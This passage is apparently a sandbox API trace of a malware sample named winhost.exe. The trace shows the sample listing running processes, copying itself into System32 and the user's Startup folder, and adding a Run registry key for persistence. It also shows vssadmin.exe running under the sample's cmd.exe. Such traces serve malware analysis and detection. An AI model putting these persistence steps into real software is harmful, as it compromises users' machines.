th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.868] lstrlenW (lpString="svchost.exe") returned 11 [0244.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.868] lstrlenW (lpString="svchost.exe") returned 11 [0244.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.869] lstrlenW (lpString="svchost.exe") returned 11 [0244.869] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.869] lstrlenW (lpString="svchost.exe") returned 11 [0244.869] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.869] lstrlenW (lpString="svchost.exe") returned 11 [0244.869] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.870] lstrlenW (lpString="svchost.exe") returned 11 [0244.870] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.870] lstrlenW (lpString="svchost.exe") returned 11 [0244.870] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.870] lstrlenW (lpString="svchost.exe") returned 11 [0244.870] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.871] lstrlenW (lpString="svchost.exe") returned 11 [0244.871] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.871] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.871] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.871] lstrlenW (lpString="svchost.exe") returned 11 [0244.871] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.872] lstrlenW (lpString="audiodg.exe") returned 11 [0244.872] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.872] lstrlenW (lpString="svchost.exe") returned 11 [0244.872] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.880] lstrlenW (lpString="sihost.exe") returned 10 [0244.880] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0244.880] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0244.880] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0244.880] lstrlenW (lpString="Memory Compression") returned 18 [0244.880] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.881] lstrlenW (lpString="taskhostw.exe") returned 13 [0244.881] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.881] lstrlenW (lpString="explorer.exe") returned 12 [0244.881] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.881] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0244.881] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.882] lstrlenW (lpString="SearchUI.exe") returned 12 [0244.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.882] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0244.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0244.882] lstrlenW (lpString="winhost.exe") returned 11 [0244.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0244.883] lstrlenW (lpString="cmd.exe") returned 7 [0244.883] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0244.883] lstrlenW (lpString="conhost.exe") returned 11 [0244.883] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.883] lstrlenW (lpString="dllhost.exe") returned 11 [0244.883] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0244.884] lstrlenW (lpString="vssadmin.exe") returned 12 [0244.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.884] lstrlenW (lpString="dllhost.exe") returned 11 [0244.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0244.884] lstrlenW (lpString="winhost.exe") returned 11 [0244.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0244.884] CloseHandle (hObject=0x240) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a88 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379f8 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5361e0 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536160 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535718 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d28 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5363e0 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536320 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee08 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55efe8 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536260 | out: hHeap=0x520000) returned 1 [0244.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55f010 | out: hHeap=0x520000) returned 1 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x566398 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5763a0 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563ce0 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563ce0, Size=0x20) returned 0x55eef8 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55eef8, Size=0x40) returned 0x537578 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55ee30 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55ef70 [0244.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563ce0 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563ce0, Size=0x20) returned 0x55eea8 [0244.885] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55eea8, Size=0x40) returned 0x537968 [0244.885] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5763a0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0244.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5863a8 [0244.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5963b0 [0244.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563ce0 [0244.886] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563ce0, Size=0x20) returned 0x55edb8 [0244.886] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55edb8, Size=0x40) returned 0x5379b0 [0244.886] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5379b0, Size=0x80) returned 0x564c18 [0244.886] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564c18, Size=0x100) returned 0x564c18 [0244.886] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0244.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564c18 | out: hHeap=0x520000) returned 1 [0244.886] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x5863a8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\winhost.exe") returned 0x20 [0244.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5963b0 | out: hHeap=0x520000) returned 1 [0244.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5863a8 | out: hHeap=0x520000) returned 1 [0244.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2538020 [0244.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563ce0 [0244.889] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563ce0, Size=0x20) returned 0x55ee08 [0244.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0244.889] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55edb8 [0244.889] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0244.889] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0244.889] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0244.889] lstrlenW (lpString="kernel32.dll") returned 12 [0244.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee08 | out: hHeap=0x520000) returned 1 [0244.889] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0244.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55edb8 | out: hHeap=0x520000) returned 1 [0244.889] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0244.889] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0244.891] ReadFile (in: hFile=0x240, lpBuffer=0x2538020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2538020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0244.895] WriteFile (in: hFile=0x244, lpBuffer=0x2538020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2538020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0244.947] ReadFile (in: hFile=0x240, lpBuffer=0x2538020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2538020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0244.947] CloseHandle (hObject=0x244) returned 1 [0244.947] CloseHandle (hObject=0x240) returned 1 [0244.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0244.947] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ee08 [0244.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0244.947] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ef98 [0244.947] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0244.947] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0244.947] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0244.947] lstrlenW (lpString="kernel32.dll") returned 12 [0244.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ef98 | out: hHeap=0x520000) returned 1 [0244.947] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0244.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee08 | out: hHeap=0x520000) returned 1 [0244.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2538020 | out: hHeap=0x520000) returned 1 [0244.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.951] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55ef98 [0244.951] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ef98, Size=0x40) returned 0x5379b0 [0244.951] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5379b0, Size=0x80) returned 0x564e58 [0244.951] lstrlenW (lpString="C:\\WINDOWS\\System32\\winhost.exe") returned 31 [0244.951] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0244.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c) returned 0x564ee0 [0244.951] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0244.951] RegSetValueExW (in: hKey=0x240, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\WINDOWS\\System32\\winhost.exe") returned 0x0 [0244.951] RegCloseKey (hKey=0x240) returned 0x0 [0244.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564ee0 | out: hHeap=0x520000) returned 1 [0244.952] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0244.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564e58 | out: hHeap=0x520000) returned 1 [0244.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5863a8 [0244.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5963b0 [0244.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.952] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55f010 [0244.952] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f010, Size=0x40) returned 0x537848 [0244.952] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537848, Size=0x80) returned 0x564e58 [0244.952] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564e58, Size=0x100) returned 0x564e58 [0244.952] lstrlenW (lpString="") returned 0 [0244.952] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0244.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x564f60 [0244.952] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0244.952] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5963b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x5963b0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0244.952] RegCloseKey (hKey=0x240) returned 0x0 [0244.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564f60 | out: hHeap=0x520000) returned 1 [0244.952] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0244.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x564f60 [0244.952] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0244.953] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5963b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0244.953] RegCloseKey (hKey=0x244) returned 0x0 [0244.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564f60 | out: hHeap=0x520000) returned 1 [0244.953] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0244.953] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0244.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564e58 | out: hHeap=0x520000) returned 1 [0244.953] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x5863a8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x5a [0244.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5963b0 | out: hHeap=0x520000) returned 1 [0244.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5863a8 | out: hHeap=0x520000) returned 1 [0244.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2535020 [0244.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.956] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55eef8 [0244.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0244.956] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55ef98 [0244.956] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0244.956] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0244.956] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0244.956] lstrlenW (lpString="kernel32.dll") returned 12 [0244.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eef8 | out: hHeap=0x520000) returned 1 [0244.956] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0244.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ef98 | out: hHeap=0x520000) returned 1 [0244.956] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0244.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0245.025] ReadFile (in: hFile=0x244, lpBuffer=0x2535020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2535020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0245.030] WriteFile (in: hFile=0x248, lpBuffer=0x2535020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2535020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0245.032] ReadFile (in: hFile=0x244, lpBuffer=0x2535020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2535020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0245.032] CloseHandle (hObject=0x248) returned 1 [0245.077] CloseHandle (hObject=0x244) returned 1 [0245.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.077] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ee58 [0245.077] RtlAllocateHeap 